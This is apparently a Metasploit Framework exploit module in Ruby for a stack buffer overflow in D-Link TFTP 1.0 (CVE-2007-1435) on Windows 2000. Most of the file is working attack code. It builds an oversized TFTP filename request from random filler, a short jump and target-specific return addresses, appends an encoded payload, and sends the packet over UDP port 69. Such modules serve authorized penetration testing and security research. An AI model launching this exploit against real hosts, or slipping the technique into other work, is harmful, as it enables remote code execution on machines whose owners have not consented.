metasploit-framework/modules/exploits/windows/tftp/dlink_long_filename.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in D-Link TFTP 1.0.
By sending a request for an overly long file name, an attacker
could overflow a buffer and execute arbitrary code. For best results,
use bind payloads with nonx (No NX).
},
'Author' =>
[
'LSO <lso[at]hushmail.com>', # Exploit module
'patrick', # Refs, stability, targets etc
],
'References' =>
[
[ 'CVE', '2007-1435' ],
[ 'OSVDB', '33977' ],
[ 'BID', '22923' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-reverse',
},
},
'SaveRegisters' => [ 'ecx', 'eax', 'esi' ],
'Platform' => 'win',
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'Targets' =>
[
# Patrick tested OK 20090228
['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
],
'Privileged' => false,
'DisclosureDate' => 'Mar 12 2007',
'DefaultTarget' => 0))
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register_options(
[
Opt::RPORT(69)
], self)
end
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def exploit
connect_udp
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print_status("Trying target #{target.name}...")
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juju = "\x00\x01"
juju << Rex::Text.rand_text_alpha_upper(581)
juju << Rex::Arch::X86.jmp_short(42)
juju << Rex::Text.rand_text_alpha_upper(38)
juju << [target.ret].pack('V') + payload.encoded
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udp_sock.put(juju)
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handler
disconnect_udp
end
end